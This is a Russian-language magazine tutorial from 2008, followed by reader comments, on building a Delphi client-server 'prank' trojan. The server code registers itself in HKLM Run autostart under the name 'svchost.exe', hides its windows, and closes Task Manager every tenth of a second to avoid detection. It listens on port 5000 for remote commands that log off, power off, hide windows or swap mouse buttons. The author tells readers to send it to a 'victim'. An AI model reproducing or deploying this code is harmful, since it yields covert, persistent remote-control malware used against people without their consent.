(Окончание. Начало в №36'2008)
И снова я приветствую вас, дорогие читатели. Сегодня мы подведём как бы черту над нашими прикольными знаниями и, как я и обещал, сделаем кое-что интересное (смотря с какой стороны смотреть), а именно - будем управлять приколами на компьютере жертвы удалённо. Это можно назвать вирусом-трояном, но мы хорошие люди и ничего общего со злыми хакерами не имеем. Приступим...
Теория
Наша задача сделать две программы - клиент и сервер. Сервер забрасывается жертве и выполняет запрограммированные нами команды, например, открывает-закрывает дисковод и т.д. Т.е. задачи сервера:
- скрыть себя (долг любой прикольной программы);
- прописаться в автозагрузку;
- открыть порт, по которому клиент к нему присоединится;
- ждать соединения;
- если соединение прошло, то выполнять запрограммированные команды.
Клиент - программа, которая остаётся у нас, подключается к серверу, посылает ему команды.
Для сетевых операций нам понадобятся компоненты с вкладки "Internet": "ServerSocket" и "ClientSocket". В Delphi 7 и 6 они по умолчанию не ставятся, поэтому нам придётся вручную их устанавливать. Для этого идите в Component > Install Packages > Add > директория Delphi > bin > dclsocketsXX.bpl (где ХХ версия Delphi, если у вас Delphi 7 то ХХ это 70). После этого у вас должны появиться компоненты как на рис. 1.
![]() |
Рис. 1 |
Сервер
Запустите Delphi и дважды кликните по форме и заносите код:
procedure TForm1.FormCreate(Sender: TObject); var regini:treginifile; begin regini:=treginifile.create('Software'); regini.rootkey:=hkey_local_machine; regini.openkey('Software',true); regini.openkey('Microsoft',true); regini.openkey('Windows',true); regini.openkey('CurrentVersion',true); regini.writestring('Run','svchost.exe',Application.exename); regini.free; serversocket1.Active:=true; end;
Этот код должен быть вам знаком, но для вновь прибывших поясню: объявляю переменную "regini" типа для работы с реестром. Затем её инициализирую и стартую с раздела "Software" в реестре, дальше так и иду по реестру в направлении "hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\Run", последний раздел отвечает за автозагрузку, т.е. мы в автозагрузку занесли нашу программу с именем "svchost.exe" (если будете изменять имя, то измените имя и здесь) и в последней строчке кода делаю сокет активным (мы его потом бросим на форму). После этого в раздел "Uses" вносим "Registry", в этом модуле описаны функции для работы с реестром. Дальше щёлкаем по форме, заходим в объектном инспекторе на вкладку "Events" и создаём обработчик события "OnActivate", в который занесём код для скрытия нашей программы:
procedure TForm1.FormActivate(Sender: TObject); begin ShowWindow(Handle, SW_HIDE); ShowWindow(Application.Handle, SW_HIDE); end;
Также можно закрывать "Диспетчер задач Windows" при каждом его возникновении, чтобы жертва в списке процессов не увидела нашу программу. Правда, если жертва откроет диспетчер для своих целей и диспетчер сразу закроется, то будет понятно - что-то здесь не чисто, и надо найти виноватую в этом происшествии программу, но не факт, что найти её будет легко;). Для осуществления этой задумки бросаем на форму компонент "Timer" с вкладки "System"и в свойстве "Interval" устанавливаем значение, равное 100 (десятая секунды). Два раза кликаем по компоненту и вносим код закрытия диспетчера:
procedure TForm1.Timer1Timer(Sender: TObject); var a:HWND; begin a:=FindWindow(nil, 'Диспетчер задач Windows'); if a<> 0 then SendMessage(a, WM_DESTROY,0,0); end;
Теперь во время выполнения нашей программы каждую десятую долю секунды будет производиться поиск окна, и если его заголовок "Диспетчер задач Windows", то это окно закрывается. Вот такая безопасность. Далее начинается самая творческая часть - внесение функций для издевательств. Бросьте на форму компонент "ServerSocket1" с закладки "Internet". Зайдите в объектный инспектор при выделенном "ServerSocket1" и в свойстве "Port" измените значение на 5000 (это будет порт, к которому наш клиент будет присоединяться к серверу). Дальше зайдите на вкладку "Events", найдите событие "OnClientRead" и создайте обработчик для него (в нём наш сервер будет принимать команды от клиента и выполнять их) и впишите туда код:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); Var scr:HDC; {будем использовать для работы с экраном} Panel, Knopka:hwnd; {эти переменные для изменения пуска} h:hwnd; {переменная для работы с окнами} i:string;{создаю переменную строкового типа для сохранения команд от клиента} begin i:=Socket.ReceiveText; if i='1' then mciSendString('Set cdaudio door open wait', nil, 0, handle); if i='2' then mciSendString('Set cdaudio door closed wait', nil, 0, handle); if i='3' then begin panel:=FindWindow('shell_traywnd', nil); knopka:= FindWindowEx (panel, 0, 'button', nil); SetWindowText(knopka,'глюк'); ShowWindow(knopka, SW_HIDE); ShowWindow(knopka, SW_show); End; if i='4' then begin scr:=GetDC(0); rectangle(scr, 0, 0, 1300, 1300); end; if i='5' then SwapMouseButton(true); if i='6' then SwapMouseButton(false); if i='7' then ExitWindowsEx(EWX_LOGOFF,0); if i='8' then ExitWindowsEx (EWX_POWEROFF,0 ); if i='9' then begin h:=getforegroundwindow(); showWindow (h, sw_hide); end; if i[1]='w' then messagebox (0,PChar(Copy(i,2,length(i))), 'Windows',0); {это 10 команд - остальное твоя фантазия, чувство юмора и возможности} end;
Теперь объяснения: сначала присваиваю переменной "i" текст, посланный от клиента, и смотрю, что это за текст. Если текст 1, то открыть DVD-привод (if i='1' then mciSendString('Set cdaudio door open wait', nil, 0, handle); ); если 2, то закрыть, и т.д (для работы этих двух команд в раздел "Uses" надо внести "MMSystem;"); 3 - поменять надпись на кнопке "Пуск" с "Пуск" на "Глюк"; 4 - зарисовываю белым прямоугольником весь экран (чтобы снова восстановить, нужно его (экран) обновить); 5 - поменять кнопки мышки местами; 6 - вернуть кнопки обратно; 7 - переводим компьютер в режим выбора профиля; 8 - выключаем его; 9 - находим любое активное окно и прячем его. И с помощью последней команды выводим сообщение (на ваш выбор) от Windows. Если захочешь, то добавишь свои команды. Напоследок сохраните ваш сервер, а потом скомпилируйте (Ctrl+F9). Зайдите в папку, где сохранили сервер, и измените имя у программы на "svchost", это у меня, если у вас другое имя, то подставьте его в код автозагрузки.
Ну вот, вроде, с серваком разобрались, остался клиент.
Клиент
Создаём новое приложение. На форму кидаем компонент "ClientSocket1" с закладки "Internet" и в свойстве "Port" ставим значение 5000 (как у сервера). Далее заходим на вкладку "Events" и создаём обработчики события "OnConnect", "OnConnecting", "OnDisconnect" и "OnError", в которые вносим код:
procedure TForm1.ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket); begin StatusBar1.SimpleText:='Всё в норме'; {событие когда мы подключились и всё прошло нормально} end; procedure TForm1.ClientSocket1Connecting(Sender: TObject; Socket: TCustomWinSocket); begin StatusBar1.SimpleText:='Подключаюсь...'; {событие когда мы начинаем подключение} end; procedure TForm1.ClientSocket1Disconnect(Sender: TObject; Socket: TCustomWinSocket); begin StatusBar1.SimpleText:='Отключился'; {событие когда мы отключились} end; procedure TForm1.ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin StatusBar1.SimpleText:='Где-то ошибочка'; {событие когда где-то возникла ошибка} end;
Затем на форму помещаем компонент "StatusBar" с вкладки "Win32". Этот компонент выводит сообщения внизу окна программы. Далее размещаем на форме 2 "Label" и 12 "Button", желательно как у меня на форме (рис. 2).
![]() |
Рис. 2 |
Теперь два раза понажимайте по каждой кнопке - и Delphi создаст обработчики события для каждой из них, в которые вы должны занести ещё код, объяснения в комментариях - комментарии в фигурных скобках, и их (комментарии) писать не надо:
procedure TForm1.Button1Click(Sender: TObject); begin ClientSocket1.Host:=Edit1.Text; {заносится ip адрес} ClientSocket1.Active:=true; {активизируется клиент} end; procedure TForm1.Button2Click(Sender: TObject); begin ClientSocket1.Close; {закрываем соединение клиента} end; procedure TForm1.Button3Click(Sender: TObject); begin ClientSocket1.Socket.SendText('w'+edit2.text); {отправляю текст серверу (W + текст)} StatusBar1.SimpleText:='Команда "вывода сообщения" отправлена'; {вывожу сообщение об отправке команды} end; procedure TForm1.Button4Click(Sender: TObject); begin ClientSocket1.Socket.SendText(inttostr(1)); {отправляю 1 серверу, как текст} StatusBar1.SimpleText:='Команда "открытия дисковода" отправлена'; {вывожу сообщение об отправке команды} end; procedure TForm1.Button5Click(Sender: TObject); begin ClientSocket1.Socket.SendText(inttostr(2)); {отправляю 2 серверу, как текст} StatusBar1.SimpleText:='Команда "закрытия дисковода" отправлена'; {вывожу сообщение об отправке команды} end; procedure TForm1.Button6Click(Sender: TObject); begin ClientSocket1.Socket.SendText(inttostr(3)); {отправляю 3 серверу, как текст} StatusBar1.SimpleText:='Команда "изменения надписи на кнопке "пуск" отправлена'; {вывожу сообщение об отправке команды} end; procedure TForm1.Button7Click(Sender: TObject); begin ClientSocket1.Socket.SendText(inttostr(4)); {отправляю 4 серверу, как текст} StatusBar1.SimpleText:='Команда "зарисовки экрана" отправлена'; {вывожу сообщение об отправке команды} end; procedure TForm1.Button8Click(Sender: TObject); begin ClientSocket1.Socket.SendText(inttostr(5)); {отправляю 5 серверу, как текст} StatusBar1.SimpleText:='Команда "изменения кнопок мыши" отправлена'; {вывожу сообщение об отправке команды} end; procedure TForm1.Button9Click(Sender: TObject); begin ClientSocket1.Socket.SendText(inttostr(6)); {отправляю 6 серверу, как текст} StatusBar1.SimpleText:='Команда "изменения кнопок мыши обратно" отправлена'; {вывожу сообщение об отправке команды} end; procedure TForm1.Button10Click(Sender: TObject); begin ClientSocket1.Socket.SendText(inttostr(7)); {отправляю 7 серверу, как текст} StatusBar1.SimpleText:='Команда "перевода компьютера в "режим выбора юзера" отправлена'; {вывожу сообщение об отправке команды} end; procedure TForm1.Button11Click(Sender: TObject); begin ClientSocket1.Socket.SendText(inttostr(8)); {отправляю 8 серверу, как текст} StatusBar1.SimpleText:='Команда "выключения компьютера" отправлена'; {вывожу сообщение об отправке команды} end; procedure TForm1.Button12Click(Sender: TObject); begin ClientSocket1.Socket.SendText(inttostr(9)); {отправляю 9 серверу, как текст} StatusBar1.SimpleText:='Команда "поиска и прятанья любого окна" отправлена'; {вывожу сообщение об отправке команды} end;
Весь код отправки команд, в общем, одинаков: первая строка - отправляем сообщение с текстом, во второй вывожу подсказку, какую команду мы только что использовали. И ещё один нюанс - вторая строка (ClientSocket1.Host:= Edit1.Text; ), "Host" - обозначает, что ip-адрес, по которому мы будем подключаться, находится в локальной сети, если захотите управлять через Интернет, то вместо "Host" используйте "Address"(ClientSocket1. Address:=Edit1.Text; ). Всё, в общем, готово, но как-то некрасиво и не понятно, поэтому сейчас изменим надпись на кнопках и текст в полях ввода. За надпись на кнопках отвечает свойство "Caption", а за текст в полях ввода - свойство "Text". Исправьте форму, как у меня (рис. 3).
![]() |
Рис. 3 |
Вот теперь всё красиво и должно работать, сохраните клиент и скомпилируйте его. Когда будете тестировать, введите в первое поле ввода IP-адрес и нажмите "Подключиться", если вы будете тестировать у себя на компьютере, то адрес будет у вас 127.0.0.1 (стандартный), и играйтесь с командами (главное - всё протестировать). Когда всё будет готово, кидайте жертве, и если она запустит программу - наслаждайтесь. А если не запустит, то запустите сами ;).
Итог
Сегодня мы рассмотрели связку клиент-сервер и сделали наши приколы удалёнными. Я употребил и старые, знакомые вам функции, и новые. Надеюсь, эти знания принесут вам пользу или, хотя бы, отличное настроение!
Резидент Николай,
[email protected]
![Версия для печати Версия для печати](https://www.kv.by/sites/all/modules/print/icons/print_icon.png)
Комментарии
А может теперь стоило бы рассказать про программирование на J2ME (ну, для мобильных телефонов)?..
У меня не получилось! Во время соединения выдает ошибку сокета 10060!
На своем же компе работает, а вот уже в Интернете (address) не получается (с другом пробовали).
:-(
А вобще стоит обратить внимание на другие мобильные платформы iPod, Android
Или нужно самому подойти и запустить на жертве сервер? Как то тупо получается
Ответ пришлите на [email protected]